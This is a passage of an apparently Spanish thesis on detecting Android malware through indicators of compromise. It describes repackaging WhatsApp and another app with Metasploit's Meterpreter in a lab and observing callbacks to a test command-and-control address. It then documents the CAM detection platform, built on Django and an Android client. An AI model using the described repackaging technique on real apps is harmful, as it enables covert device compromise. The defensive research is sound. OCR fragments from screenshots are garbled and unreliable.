Segun la tienda de aplicaciones del sistema operativo Android (Google Play) las principales
aplicaciones son las que se describen en la Figura 5-6.



Metodologia 32

o 1} e Q

ForYou  TopCharts Categaries Editors' Cho.. Early A

TOP FREE APPS ~ TOP FREE GAMES ~ TOP GROS

WhatsApp Messenger
WhatsApp Inc.

44

Messenger — Text and Vide..
Facebeok

EDITORS' CHOICE

Facebaok Lite
Facebeok

“w—’
Facebook
4 Facehook
41

43+

Instagram
Instagram

EDITORS' GHOICE

Figura 5-6. Top 5 de aplicaciones mas populares de la Play Store. (Fuente: Propia).
Se seleccioné la aplicacion WhatsApp version 2.18.223 y se infectd con Meterpreter para

Android de Metasploit la Figura 5-7 la aplicacion de WhatsApp instalada en el emulador para
hacer pruebas.

( * Informacién de la aplicacién

hatsApp

ve

Forzar
detencion

Desinstalar
+ Mostrar notificaciones
ALMACENAMIENTO

Total 56,63 MB
Aplicacion 56,41 MB
Datos 228 KB

Borrar datos

32,00 KB

Borrar caché

ABRIR DE FORMA PREDETERMINADA

oS =

Figura 5-7. Versién de WhatsApp Messenger instalada para realizar las pruebas. (Fuente: Propia)
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También se selecciono e infecto la aplicacion Fabrica Dulce version 8.25.10.00 Figura 5-8 para
realizar pruebas de infeccion con una aplicaciéon no tan popular, por lo que los fabricantes no la
actualizan tan frecuentemente, reduciendo el impacto de las actualizaciones en las pruebas de
laboratorio.

* Informacién de la aplicacién

sion 8.25.10.00

Forzar la
detencion

Desinstalar...
¥ Mostrar notificaciones
ESPACIO DE ALMACENAMIENTO

Total 103 MB
Aplicacion 98.52 MB
Datos 4.62 MB

Eliminar datos
MEMORIA CACHE

Memoria caché 24.00 KB

Eliminar
memoria
caché

=

Figura 5-8. Informacién Fébrica de Dulce. (Fuente: Propia).

Finalmente, la Figura 5-9 muestra el laboratorio que se implemento
Dispositivos moéviles emulados en Genymotion

e Motorola MotoX con Android 4.4.4 API 19, que llamaremos: Dispositivol
e Samsung Galaxy S6 con Android 5.1.0 API 22 que llamaremos: Dispositivo2
e Samsung Galaxy S6 con Android 6.0.0 API 23 que llamaremos: Dispositivo3

[@ Genmetontor perontuee T

00O Genymotion

> + o

Start Add Settings

Your virtual devices

[0 samsung Galaxy $6 - 5.1.0 - API 22 - 1440x2560 N

=1

Q Motorola Moto X -4.4.4 - API 19 - 720x1280

U Samsung Galaxy S6 - 6.0.0 - API 23 - 1440x2560

Your license has expired. Please renew your license to keep using Genymotion. x

Figura 5-9. Interfaz de Genymotion con los teléfonos de prueba. (Fuente: Propia).
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Dispositivo movil

Se selecciond el teléfono inteligente Motorola MotoG 5 Plus con Android 7 y parche de
seguridad 1 de junio de 2018, que llamaremos: Dispositivo4 como se ilustra en la Figura 5-10

OV ' 4 441225

Estado del teléfono

Numero de modelo

Version de banda base

Version de nucleo

Figura 5-10. Dispositivo mévil fisico Moto G5 Plus. (Fuente: Propia).

5.2.2 Seleccidn de aplicaciones para detectar IOCs en Android

Para este estudio se infectaron dos de las tres maquinas emuladas con la aplicacion infectada
de WhatsApp y el teléfono fisico con Fabrica Dulce. Se buscaron aplicaciones que pudieran
monitorear, identificar y presentar los indicadores de compromiso de las aplicaciones
comprometidas, las aplicaciones que se utilizaron para las pruebas de deteccion fueron las
siguientes:

Aplicaciones para determinar IOCs estaticos, como son, permisos de las aplicaciones y del
sistema: Package Info y RL Permision.
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Package Info

Los detalles de la aplicacion Pakage Info se ven en la Figura 5-11.

_Search packages...

7 com.android.webview L

RAM : 2.9 GB (2.4 GB Free)

AMM Client
co.com.commitmentindicators.ammclie nD

Android Keyboard {(AOSP)
com.android.inputmethod.latin L]

Android Live Wallpapers
com.android.wallpaper L

Android System
android []

Android System WebView

API Demos
com.example.android.apis L

Basic Daydreams
com.android.dreams.basic []

Black Hole
com.android.galaxy4

System Info

Figura 5-11. Pantalla principal de Package Info. (Fuente: Propia).
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WhatsApp Infectado escaneo con Package Info

El resultado del escaneo de los permisos de la aplicacion WhatsApp con Package Info se ve
en la Figura 5-12.

Package Info

>0 Genymotion for personal use - Motorola Moto X... — a X

Figura 5-12. Permisos de WhatsApp infectado con Package Info. (Fuente: Propia).
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WhatsApp infectado escaneado con RL Permissions
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El resultado del escaneo de los permisos de la aplicacion WhatsApp con RL Permission se ve

en la Figura 5-13.

RL Permissions

Figura 5-13. Permisos de WhatsApp Infectado en RL Permission. (Fuente: Propia).

Resultado: La aplicacion infectada de WhatsApp tiene 58 Permisos

o0 Genymotion for personal use - Motorela Mote X...

R o —

WhatsApp
w’ com.whatsapp

Application info
Application directory:
/data/data/com.whatsapp
Used permissions

A Moadificar tus contactos
android.permission. WRITE_CONTACTS

Recibir mensajes de texto (SMS)
android.permission. RECEIVE_SMS

Leer tus mensajes de texto (SMS o MMS)

android.permission. READ_SMS

Leer la identidad y el estado del dispositivo

android.permission.READ_PHONE_STATE

A Leer tus contactos
android.permission.READ_CONTACTS

Llamar directamente a nimeros de teléfono

android.permission. CALL_PHONE

Maodificar la configuracion del sistema
android.permission. WRITE_SETTINGS

A Utilizar las cuentas del dispositivo
android.permission. USE_CREDENTIALS

A\ Eijecutarse al inicio

A I B T e AT
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Aplicaciones para determinar I0OCs dinamicos, trafico de red por aplicacion: Network
Connections y OS Monitor.

WhatsApp infectado escaneado con Network Connections

La Figura 5-14 muestra el resultado del escaneo de las conexiones de la aplicacion WhatsApp
con Network Connections.

Network Connections

Genymotion for personal use - Motorola Moto X...  — () X

192.168.0.41:4444 Last 5/14/2018 01:53 PM
WhatsApp Total Activity: 1m 35s

172.217.28.106:443 Last 5/14/2018 01:53 PM
Google Play Store Total Activity: Im 195
172.217.30.195:443 Last 5/14/2018 1242 PM
Administrador de carga Total Activity: 1m 3s
216.58.222.234:443

Google Play Store Total Activity: 1m 3s

216.58.222.238:443 Last 5/14/2018 12:46 PM
Google Play Store Total Activity: 1m 3s

ve

..
b
=

po
po

172.217.30.202:443 Last: 5/14/2018 01:53 PM
Sincronizacion de los contactos de Toal Activity: 49s

-
! “"
.-

172.217.28.109:443 Last 5/14/2018 12:46 PM
GOOgle Total Activity: 47s

74.125.141.139:443 Last 5/14/2018 12:46 PM
Google Total Activity: 47s

@0

172.21 5t 5/14/2018 01:53 PM

e
h
e

Almace

2018 01:53 PM

Figura 5-14. Captura de pantalla de andlisis de trafico de Network Connections. (Fuente: Propia).
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Resultado: WhatsApp esta solicitando conexiones a la direccién IP version 4 privada
192.168.0.41 por el puerto 4444. Estas conexiones no corresponden a los dominios del

fabricante.
La Figura 5-15 muestra el detalle del resultado del escaneo de las conexiones de la aplicacién

WhatsApp con Network Connections.

O Genymotion for personal use - Motorola Moto X...  — O >

( IP Details

192.168.0.41
192.168.0.41

IP Administrative Data:

Internet Assigned Numbers Authority (PRIVATE-ADDRESS-CBL...
12025 Waterfront Drive

Los Angeles, CA 90292

United States

IP Geo Location:
use RBL:
There's no abuse data found for this IP/NetBlock.

Apps that are using this IP:

9 WhatsApp Port: 4444
com.whatsapp ast 51442018 0153 P

Figura 5-15. Direccion IP del centro de comando y control detectada por Network Connections.
(Fuente: Propia).

Resultado: Network Connections detecta la IP 192.168.0.41 que es la IP de pruebas del comando
y control.
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WhatsApp infectado escaneado con OS Monitor

La Figura 5-16 muestra el resultado del escaneo de las conexiones de la aplicacion WhatsApp
con OS Monitor.

OS Monitor

o0 Genymotion for personal use - Motorola Moto X..  — O

PROCESOS CONEXIONES

Proto IP Local/Remota Estado
I1LFD (Y2 108.U0.4 | 4444 SYN_SEMNI|

g WhatsApp
10.0.3.15:55775

TCP6 172.217.30.202:443 CLOSE_WAIT
E‘ Sincronizacion de los contactos de Google
10.0.3.15:36071

TCPb 104.193.88.125:80 CLOSE_WAIT
E ES File Explorer
10.0.3.15:55052

TCP6 172.217.8.78:443 CLOSE_WAIT
@R sincronizacién de los contactos de Google
10.0.3.15:58341
123.125.114.8:443 CLOSE_WAIT
3 ES File Explorer
10.0.3.15:40510
172.217.30.206:80 CLOSE_WAIT
@ WhatsApp
10.0.3.15:47133

TCP6 103.235.47.74:80 CLOSE_WAIT
= F< rile Fenlarer

e SN s I e |

Figura 5-16. OS Monitor Escaneando el Trafico incluido WhatsApp Messenger Infectado. (Fuente:
Propia).

Resultados: se detecta una IP privada que no pertenece al dominio de WhatsApp y una IP
publica.
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Aplicaciones para determinar IOCs Metadatos, como son: firmas digitales SHA1, MD5 y
el tamafio de la aplicacion: Package Info

La Figura 5-17 muestra el resultado del escaneo de los metadatos de la aplicacion WhatsApp
con Package Info

Escaneando WhatsApp Infectado con Package Info

o0 Genymotion for personal use - Motorola Mote X..  — O *

Package Details
Package com.whatsapp

App size 58800.00 KB Settings

Data Size 1144.00 KB Goagle it
Installed (2018/06/30)
Updated (2018/06/30) Uninstall

Is package bloatware ? Report

Apk Path /data/app/
com.whatsapp-1.apk

Version Details

Name 2.18.198

Code 452385

Target SDK 27

App Type Outside play store

Signature +6esYnRHA+eaXw [REEIC
hO51CiULKGsfg=

Figura 5-17. Package Info detectando la firma de WhatsApp Infectado. (Fuente: Propia).

Resultado: Package Info detecta la firma del desarrollador.
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De estas cuatro herramientas se seleccionaron dos para trabajar en el proyecto debido a sus
ventajas y desventajas:

Para monitorear I0Cs estaticos y metadatos se seleccioné Package Info ya que tiene la
capacidad de monitorear ambos I0OCs, ademéas RL Permision no se encuentra actualmente en la
Play Store.

Para monitorear el trafico de red por aplicacién, se seleccion6 Network Connections, por tener
mayor compatibilidad con més versiones de Android ya que Os Monitor solo es compatible con
las versiones KitKat y Lollipop de Android.

5.2.3 Laboratorio seleccionado y uso

El objetivo de este laboratorio fue verificar la capacidad de deteccion de cinco softwares de
seguridad y presentar las notificaciones de cada deteccién para determinar si pueden alertar y
educar al usuario final de manera eficiente, los resultados del laboratorio estan evidenciados en
los capitulos de metodologia, resultados y anexos.

e Dispositivol: Se instalo las aplicaciones oficiales seleccionadas de la Google Play sin
intervenir con malware. Ademas, la aplicacion Package Info para presentar la metadata
de cada aplicacion de pruebas y Network Connections para monitorear el trafico.

e Dispositivo2: Se instalé las aplicaciones oficiales seleccionadas de la Google Play e
infectadas con malware. Ademas, la aplicacién Package Info para presentar la metadata
de cada aplicacion de pruebas y Network Connections para monitorear el trafico. A
diferencia del Dispositivol, en este se instal6 cinco aplicaciones de software de seguridad
de fabricantes reconocidos dos aplicaciones no pagas, dos aplicaciones pagas y por
altimo el antivirus social Koodous para medir la capacidad de deteccion de cada uno de
estos softwares y ver la eficiencia de sus alertas.

e Dispositivo3: Se instalé las mismas aplicaciones oficiales seleccionadas de la Google
Play que el Dispositivo2 e infectadas con malware. También las mismas aplicaciones de
monitoreo de IOCs metadatos, estaticos y dinamicos, pero solo tenia el software de
seguridad desarrollado en este trabajo, la plataforma CAM, para presentar su capacidad
de deteccidn y notificaciones eficientes con el objetivo de alertar al usuario final.

e Dispositivo4: En este Ultimo se instalo la aplicacién oficial de WhatsApp desde la Google
Play y Fabrica Dulce infectada con malware. Se instalé las mismas aplicaciones de
monitoreo de |OCs, metadatos, estaticos, dinamicos y el software de seguridad
desarrollado en este trabajo la plataforma CAM, para presentar su capacidad de
deteccion, funcionamiento en dispositivos fisicos actuales y notificaciones eficientes con
el objetivo de alertar al usuario final.

5.3 Desarrollo de la plataforma CAM

A partir del laboratorio seleccionado se desarrolla la plataforma CAM de la siguiente manera

5.3.1 Plataforma CAM

La plataforma CAM estd compuesta de dos componentes: una consola de administracion
llamada ACAM (Administrador de Control de Aplicaciones Moviles) y un cliente o agente para
dispositivo méviles llamado CCAM (Cliente de Control de Aplicaciones Mdviles), que estan
desarrollados y trabajan de la siguiente manera:
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Componentes de la plataforma CAM

ACAM Administrador de control de aplicaciones méviles

44

ACAM es una plataforma web desarrollada en Python Django que se encarga de almacenatr,
administrar la base de datos de lista blanca de los Indicadores de compromiso de las principales
aplicaciones oficiales para Android configuradas por el administrador y transferir las firmas de
IOCs de las aplicaciones administradas. La Figura 5-18 muestra el main de la interfaz de la

consola ACAM

Django administration WELCOME, ADMIN. VIEW SITE / CHANGE PASSWORD / LOG OUT

Site administration

Groups

Users

Addresss
Application by Versions
Applications
Permissions
Protection Levels

Versions

Recent Actions

My Actions

% Deprecated

+ Add Change
+ Add Change
+ Add Change
+ Add Change
+ Add Change
+ Add Change
+ Add Change
+ Add Change

AUTHENTICATE_ACC(

USE_CREDENTIALS
READ_PROFILE
MANAGE_ACCOUNTS
GET_TASKS

FLASHLIGHT

OUNTS

AUTHENTICATE_ACCOUNTS

Figura 5-18. Plataforma ACAM basada en el Framework de Django. (Fuente: Propia).

Diagrama relacional de la Base de Datos de ACAM

La Figura 5-19 muestra el modelo de la base de datos de la consola de administracion ACAM

Application -
# id: INTEGER

% label: VARCHAR(50)

@ package_name: VARCHAR(255)
& description: VARCHAR(100)

Rel 01

|Application_has_version v

¢ Application_id: INTEGER (FK)

¢ Version_id: INTEGER (FK)

& signature: VARCHAR(100)

< [checksum]: VARCHAR(100)

< size: DECIMAL

& date_update: DATE

& version_default: BOOL

|3 Appication_has_Version_Fkindext
 Application_id

Rel_02

Rel 05

Version -
# id: INTEGER

% name: VARCHAR(50)

& description: VARCHAR(50)

[Application_has Version_has Address =
# Application_has_Version_Version_id: INTEGER (FK)
# Application_has_Version_Application_id: INT... (FK)

j  Address_id: INTEGER (FK)
13 Appleation_has_Version_has_Address_Fidndexl

|3 Appication_has_Versior_fKindex2
@ Verson_d

Rel 03

9 Application_has_Version_Application_id
¥ Application_has_Version_Version_id

| -3 Applcation_has Version_has Address Findex2
¥ Address id

Application_has Version_has Permission -
@ Applcation_has_Version_Versian_id: INTEGER (FK)
2 Application_has_Version_Application_id: INT.... (FK)
@ Permission_id: TNTEGER (FK)
|3 Applcation_has_Version_has_pPermssion_fIndexi
 Application_has_version_Application_id
R Application_has_Version_Version_id
|3 Aopication_has_Version_has_Permission_fKIndex2

@ Permission_id

Address

@ id: INTEGER

@ ipvd: VARCHAR(15)
@ ipv6: VARCHAR(45)

Rel 06

Rel_07.

Permission -

@ id: INTEGER

& name: VARCHAR(100)

% value: VARCHAR(100)

% thid_party: BOOL

< ProteccionLevel id: INTEGER (FK)
Rel 04 |3 Permision_FKindex1
% ProtecconLevelid

ProteccionLevel -
W id: INTEGER
& name: VARCHAR(50)

Figura 5-19. Diagrama relacional de la base de datos de la plataforma CAM. (Fuente: Propia).
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La base de datos esta disefiada por las siguientes tablas:

Proteccion_Level: en esta tabla se almacenan los niveles de proteccion con los que trabaja
la aplicacion. La Figura 5-20 muestra cdmo se ve la interfaz de nivel de proteccién de la consola
ACAM.

Djaﬂgo administration WELCOME. ADMIN. VIEW SITE / CHANGE PASSWORD / LOG OUT

Home > Main > Protection Levels

Select Protection Level to change
Action. | -=------- v | Go | 0of6selected
= NAME VALUE
) PROTECTION_FLAG_PRE23 128
=) PROTECTION_FLAG_DEVELOPMENT 32
) PROTECTION_SIGNATURE 2
) PROTECTION_SIGNATURE_OR_SYSTEM 3
=) PROTECTION_DANGEROUS 1
0

) PROTECTION_NORMAL

6 Protection Levels

Figura 5-20. Campo del nivel de proteccion de permisos en ACAM. (Fuente: Propia).

En este desarrollo se seleccionaron 6 niveles de proteccion con base a la web de
desarrolladores de Android y con un cédigo de colores que se explica posteriormente en la pagina
namero 77:

e Permisos Peligrosos: La aplicacién requiere datos o recursos que incluyen la informacion
privada del usuario.

La Figura 5-21 muestra el valor de proteccion peligros de la pagina del desarrollador de Android.

PROTECTION_DANGEROUS added in API level 1
public static final int PROTECTION_DANGEROUS

Dangerous value for protectionLevel, corresponding to the dangerous value of R.attr.protectionLevel .

Constant Value: 1 (0x00000001)

Figura 5-21. Nivel de proteccion peligrosa de los permisos de Android. (Fuente: Android Developers,
2018).

Normales: La aplicacion tiene un riesgo minimo para la privacidad del usuario o el
funcionamiento de otras aplicaciones.

La aplicacion tiene un permiso de tercero de riesgo moderado para la privacidad
del usuario o el funcionamiento de otras aplicaciones.



Metodologia 46

La Figura 5-22 muestra el valor de proteccién de fabricante de la pagina del desarrollador de
Android.
PROTECTION_FLAG_DEVELOPMENT added in APl level 16
public static final int PROTECTION_FLAG_DEVELOPMENT
Additional flag for protectionlLevel, corresponding to the development valueof R.attr.protectionLevel.

Constant Value: 32 (0x00000020)

Figura 5-22. Nivel de proteccion del desarrollador de los permisos de Android. (Fuente: Android
Developers, 2018).

e Firmas: La aplicacion tiene un permiso de firma del fabricante, verificar que dicha firma
no esté alterada.

e Firmas o sistema: La aplicacion tiene un permiso de firma del fabricante, verificar que
dicha firma no esté altera.

La aplicacion tiene un permiso que se encuentra obsoleto, te recomendamos
actualizarte a una version reciente

La Figura 5-23 muestra el valor de proteccion de permiso obsoleto (Protection_Flag 23) de la
pagina del desarrollador de Android.

PROTECTION_FLAG_PRE23

Additional flag for protectionLevel, corresponding to the pre23 value of
R.attr.protectionLevel.

Figura 5-23. Nivel de proteccion obsoleto de los permisos de Android. (Fuente: Android Developers,
2018).

La
Figura 5-24 muestra el resultado de la clasificacién por color de los permisos de la aplicacion
WhatsApp con base a la clasificacion de la pagina del desarrollador de Android.
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< CAM Client

Permisos
- WhatsApp
B Permisos Oficiales:52
Permisos detectados:58

Permisos con problemas:6

Clasificacién de permisos por colores en funcién de los
niveles de proteccion de los desarrolladores de Android

Peligrosos: Tu App requiere datos o recursos
que incluyen informacidn privada
del usuario

Tu App tiene un riesgo minimo para
la privacidad del usuario o el
funcionamiento de otras apps.
Tu App tiene un permiso de tercero,
de riesgo moderado, para la
privacidad del usuario o el
funcionamiento de otras apps.
Tu App tiene un permiso de firma
del fabricante, verificar que dicha
firma no esta alterada
ma o Sistema:Tu App tiene un permiso de firma
del fabricante, verificar que dicha
firma no esta alterada

Figura 5-24. Clasificaciéon de permisos CAM por colores. (Fuente: Propia).
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Permission: en esta tabla se almacenan los permisos con los que trabajan las aplicaciones
publicadas en Google Play.

La Figura 5-25 muestra la interfaz de asignacion de permisos de la consola ACAM.

Django administration WELCOME, ADMIN. VIEW SITE / CHANGE PASSWORD / LOG OUT

Home » Main » Permissions

Select Permission to change

Q Search FILTER
By name
Action: | --------- ¥ || Go | 00f100 selected All
PROTECTION_DANGEROUS
O wamE a4 VALUE THRID PARTY  PROTECTION LEVEL PROTECTION_FLAG_DEVELOPMENT
O 0 PROTECTION_FLAG_PRE23
L) ACCESS_COARSE_LOCATION a - -
android permission ACCESS_COARSE_LOCA1 PROTECTION_DANGEROUS PROTECTION_NORMAL
@ ACCESS_FINE LOCATION = PROTECTION_SIGNATURE
FINE_| android permission ACCESS_FINE_LOCATION PROTECTION_DANGEROUS PROTECTION_SIGNATURE_OR_SYSTEM
O ACCESS_LOCATION_EXTRA_COMMANDS anclroid permission ACCESS_LOGATION_EXT PROTECTION_NORMAL By Thrid Party
— — All
[ ACCESS_NETWORK_STATE android.permission ACCESS_NETWORK_STA L PROTECTION_NORMAL Yes
B B No
1 ACCESS_NOTIFICATION_POLICY android.permission. ACCESS_NOTIFICATION_ = PROTECTION_NORMAL

I ACCESS_WIFLSTATE android.permission. ACCESS_WIFI_STATE . PROTECTION_NORMAL

Figura 5-25. Campo de Asignacion de Permisos en ACAM. (Fuente: Propia).

Application: en esta tabla se almacenan las aplicaciones que son administradas en el dispositivo
movil.

La Figura 5-26 muestra la interfaz de configuracion de aplicaciones de la consola ACAM

Dja ngo administration WELCOME, ADMIN. VIEW SITE / CHANGE PASSWORD / LOG OUT

Home : Main » Applications

Select Application to change

Action: | -—-----—- ¥ || Go | 0of 2selected

0 uaseL a  PACKAGENAME

[ TransportMTL netrhatec.amtmobile
O WhatsApp com.whatsapp

2 Applications

Figura 5-26. Campo de Aplicaciones en ACAM. (Fuente: Propia).
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Versiéon: En esta tabla se almacenan las versiones de las diferentes aplicaciones que son
administradas.

La Figura 5-27 muestra la interfaz de configuracion de version de aplicaciones de la consola
ACAM.

Django administration

Home : Main » Versions

Select Version to change

Action: | -----—-—- v || Go | 0of7 selected

O MAME DESCRIPTION
£ 218191

L 217393 WhatsApp

1 217395 WhatsApp

[ 271.53d1853 TransportMTL
[J  2.0_82060e4 2.0_82060e4
L 217.351

0 217323

7 Versions

Figura 5-27. Campo de asignacion de version de ACAM. (Fuente: Propia).
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Application_has_version: En esta tabla se almacenan las relaciones entre las aplicaciones y
Sus respectivas versiones.

La Figura 5-28 muestra la interfaz de configuracién de versiones de la consola ACAM.

Django administration

Home » Main : Application by Versions

Select Application by Version to change

Action: | --------- v || Go | 0of6selected

[ appLICATION 1 4  VERSION 2 o  VERSION DEFAULT SIZE

O TransportMTL 2.0_82060e4 vl 2719115
) WhatsApp 217.323 o 1

[ WhatsApp 217.351 W] 1

] WhatsApp 217.395 o 1

L WhatsApp 217.393 o 1

) WhatsApp 218191 4] 1

6 Application by Versions

Figura 5-28. Campo de asignacion de aplicacion por version de ACAM. (Fuente: Propia).

Application_has_version_has_permison: En esta tabla se almacenan las relaciones entre las
aplicaciones por version y sus respectivos permisos.

La Figura 5-29 muestra la interfaz de configuracion de aplicacion por version de la consola ACAM.

Django administration

Home » Main » Application by Versions » WhatsApp

Change Application by Version

Application: WhatsApp v +

Version: 218191 v +

Signature: 38a0f7d505fe1 8fect4fbiz43ecaaaf310dbdTe
SHA-1: 1

Md5: 1

Size: 1

Date Update: 2018-07-07 Today | )

[+ version default

Figura 5-29. Parametros de configuracién de la aplicacion por versién en ACAM. (Fuente: Propia).
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La Figura 5-30 muestra la interfaz de configuracion de aplicacion por versién por permisos de la
consola ACAM.

APPLICATION BY VERSION BY PERMMISSION

Application By Version By Permit E icati it i object ] Delete
Permission: ACCESS_COARSE_LOCATION v +

Application By Version By F i g icati ionBy i object ] Delete
Permission: ACCESS_FINE_LOCATION v +

Application By Version By F i g icati ionBy i object ] Delete
Permission: ACCESS_NETWORK_STATE v +

Application By Version By F i g icati ionBy i object @ Delete

Figura 5-30. Configuracién de permisos de la aplicacién por version por permisos de ACAM. (Fuente:
Propia).

Address: En esta tabla se almacenan las direcciones IPV4 e IPV6 oficiales de cada aplicacion.

La Figura 5-31 muestra la interfaz de configuracion de direcciones IP de la consola ACAM.

Django administration

Home » Main » Addresss

Select Address to change

Action: | --------- ¥ || Go | 0of 100 selected
[J  ADDRESS

£ 108.168.1747

] 158.85.224.171

) 158.85.224172

] 15885224173

Figura 5-31. Configuracion de las direcciones IP de ACAM. (Fuente: Propia).
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Application_has_version_has_address: En esta tabla se almacenan las relaciones entre las
aplicaciones por version y sus respectivas direcciones.

La Figura 5-32 muestra la interfaz de configuracion de aplicaciéon por version por direccion de la
consola ACAM.

Django administration

Home : Main : Application by Versions : WhatsApp

Change Application by Version

Application: WhatsApp T +

Version: 2.18.191 T +

Signature: 38a0f7ds05fel 8fec64fbfid3ecaaaf310dbd 7!
SHA-1: 1

Md5: 1

Size: 1

Date Update: 2018-07-07 | Today | )

¥ version default

Figura 5-32. Configuracion de los parametros de la aplicacién por version en ACAM. (Fuente: Propia).
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La Figura 5-33 muestra la interfaz de configuracién de direcciones IP a las aplicaciones por
version de la consola ACAM.

Application By Version By Address: ApplicationByVersionByAddress object
Address: 108.168.174.7 v

Application By Version By Address: ApplicationByVersionByAddress object
Address: 158.85.224.171 ¥

Application By Version By Address: ApplicationByVersionByAddress object

Address: 158.85.224172 ¥

Figura 5-33. Asignacioén de las direcciones IP a las aplicaciones por versién. (Fuente: Propia).

5.3.2 Funciones de ACAM

Transferencia de firmas oficiales

Permite transferir las firmas de las aplicaciones oficiales. La Figura 5-34 muestra el cddigo
gue se encarga de comprimir las firmas de las aplicaciones oficiales y enviarlas desde la consola
ACAM al cliente CCAM.

[ Network Cornsctions.csv (3| E sstngs py 3 Hviewspy B3
from django.shortcuts import render
2 from rest_framework import serializers, viewseta
3 from rest_framework.response import Response
from django.core.files import File
from django.http import HttpResponse
from django.conf import settings
4 from io import StringlO
import io
import zipfile
import os

12 Iclass DownloadFileSOLiteViewSet (viewsers.Viewset) :

def list(self,

print ("Runni t on e
compressFile, len: _compressFile()
1. compressFile.seek(D,0s.SEEK_END)
20 sizeFile = 114}

21 o del i+ str(sizeFile))
22 response = HLtpResm TpressFile.getvalue(), content_type = "application/s-zip-compressed”
3 response[’ = ;I ' % zip filename

response['Conte:
E return response

El  def _compressFile({self)

io.BytesIO() #Stringl0.Stringl0(}

2f = zipfile.ZipFile(s, mode="+", compression=zipfile.ZIP DEFLATED)
fdir, fname = 0s3.path.split(self.db_path)

33 2ip_path = 0s.path.join(zip_subdir, 'bdci')

34 2f.write(self.db_path, zip path)

35 2f.close ()

36 L return s,zip_filenare

Figura 5-34. Compresion de la base de datos y envi6 de firmas a ACAM. (Fuente: Propia).
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La Figura 5-35 muestra la interfaz del cédigo, encargada de comprimir y enviar la base de datos
de firmas de las aplicaciones oficiales.

& C | ® 192.168.0.24:3000/main/api

=2 Aplicaciones TRABAIO ESTUDIO FABRICANTES SIS

Api Root

Api Root Sl

The default basic root view for DefaultRouter

GET /main/api

HTTP 200 0K
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

“download”: "http://192.168.9.24:80080/main/api/download/"

Figura 5-35. API de Django. (Fuente: Propia).

La Figura 5-36 muestra el servicio de descarga en Django Rest framework. La imagen muestra
la direccion web donde se encuentra el recurso URL para descargar la BD.

"download™: "http://192.168.8.24:8008/main/api/download/"

Figura 5-36. Direccion web del servicio de descarga de la base de datos. (Fuente: Propia).
Django rest-framework

Es un framework que permite desarrollar APIs Web http://www.django-rest-framework.org/

Seleccién de version por defecto: En la tabla Application_has_version se permite
seleccionar la version por defecto que para casos en los que la aplicacion instalada en el movil
sea diferente a la version configurada en el administrador.

La Figura 5-37. Asignacion de la version por defecto de la aplicacién por version. Muestra la interfaz de
seleccion de la version por defecto de la aplicacién, en este caso se selecciona la Gltima version
configurada en la consola ACAM.


http://www.django-rest-framework.org/
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Django administration

Home > Main » Application by Versions

Select Application by Version to change

Action: | -------—- ¥ || Go | 0of6selected

(] APPLICATION 1 «  VERSION 2 ~  VERSION DEFAULT SIZE

O TransportMTL 2.0_82060e4 @ 2719115
[J WhatsApp 217.323 (] 1

O WhatsApp 217.351 (=] 1

[ WhatsApp 217.395 (] 1

[ WhatsApp 217.302 (] 1

O WhatsApp 218191 # 1

6 Application by Versions
Figura 5-37. Asignacion de la version por defecto de la aplicacion por version. (Fuente: Propia).
Copiar Aplicaciones

Esta funcién permite copiar aplicaciones ya configuradas para simplificar la creacién de
nuevas firmas.

La Figura 5-38 muestra la interfaz de la consola ACAM que se puede usar para copiar las
aplicaciones configuradas y configurar versiones mas recientes.

Django administration WELCOME, ADMIN

Home » Main » Application by Versions

Select Application by Version to change

Action: | --------- v | Go | 0of2selected I
[ APPLICATION 1 & VERSION 2 o  VERSION DEFAULT SIZE
[ WhatsApp 217395 =] 1
O WhatsApp Copy 2.17.395 B 1
2 Application by Versions
PP ¥ Save

Figura 5-38. Copia de la aplicacién por version. (Fuente: Propia)
Pasos para habilitar la consola de administracion ACAM
Abrir una consola de consola de comandos.

La Figura 5-39 muestra la consola de comandos de Windows con la que se habilita la consola
ACAM.
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Corporation. Todos los derechos

C:\Users\juangp. INTERLAN>

Figura 5-39. Ejecucion de la Consola de Comandos de Windows. (Fuente: Propia).

En la ruta donde esté el proyecto ACAM, se debe ejecutar el comando “.\scripts\activate” para
activar el entorno virtual del proyecto y se muestra (CCAM) al inicio de la ruta, luego se vuelve a
cambiar al directorio del proyecto con “cd ruta del proyecto” y se ejecuta el comando “Python
manage.py runserver 0.0.0.0:8000”

La Figura 5-40 muestra los comandos que se deben ejecutar para activar la consola ACAM

irtualenviAmmConsol d ammconsole

\wirtualenviAmmConsole\ammconsole»local.bat

enviAmmConsole\ammco e thon manage.py runserver ©.8.8.¢

Figura 5-40. Ejecucién de los comandos necesarios para iniciar ACAM. (Fuente: Propia).

La Figura 5-41 muestra la interfaz web de la consola ACAM, URL 127.0.0.1:8000/admin
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& © C | ® 127.00.4:8000/admin/login/?next=/admin

i1 Aplicaciones TRABAJO ESTUDIO FABRICANTES. sis

Django administration

Username:

Password:

Figura 5-41. Interfaz de inicio de sesion de ACAM. (Fuente: Propia).

5.3.3 CCAM

Es el cliente para los dispositivos moviles, que se encarga de descargar y/o almacenar las
firmas de la base de datos del administrador ACAM de aplicaciones oficiales, escaneay contrasta
tres indicadores de compromiso de las aplicaciones instaladas en el dispositivo: metadatos,
estaticos y dinamicos, para detectar los eventos operativos maliciosos de las aplicaciones
instaladas y genera reportes eficientes que muestran los eventos generados por el escaneo del
malware permitiendo tomar acciones como: ver detalles de IOCs, ignorar, reportar por correo los
incidentes detectados al administrador en un formato en regla Yara que se puede compartir con
la comunidad de analistas de malware para smartphone con sistema operativo Android y
desinstalar la aplicacién.

CCAM utiliza el framewark Greendao para realizar las consultas a la base de datos sqlite, se cre6
la clase DatabaseService, con las principales consultas: getAppByVerWork,
getAppByVerAddressHashMap, entre otras. La Figura 5-42 muestra el codigo de la clase
DatabaseService.

Android - ECRE A € App! o it < <
v [app
> B manifests public class DatabaseService {
~ M java ‘et
private Final String DB NAME = "bdci”;
v [ co.com.commitmentindicators.ammeclient private Context mContext:
> [N activities
> B9 adapters private static final String TAS = DetabaseService.class.getSimpleNeme();
> Eudb
5 BN holders private DaoSession daoSession;
private DaoMaster daoliaster;
7 [ loaders private SQLiteDatabase db;
> [ model
v [0 senices private PackageManager pm;
© DatabaseService private Resources resources;
% FileDownloadClient
> 9 co.com.commitmentindicators.ammclient | private Eashapcstring, Application> appsbB:
private ArrayLisucIssuePermission> issuePermissions:
> [ co.com.commitmentindieators.ammelient.t
> W2assets private DatabaseHelper myDbHslper;
> Mres
> Tiigreendao-gen private ApplicationDao appDao:
5> (3 Gradle Scripts private ApplicationByVersionDao applicationByVersionDao;

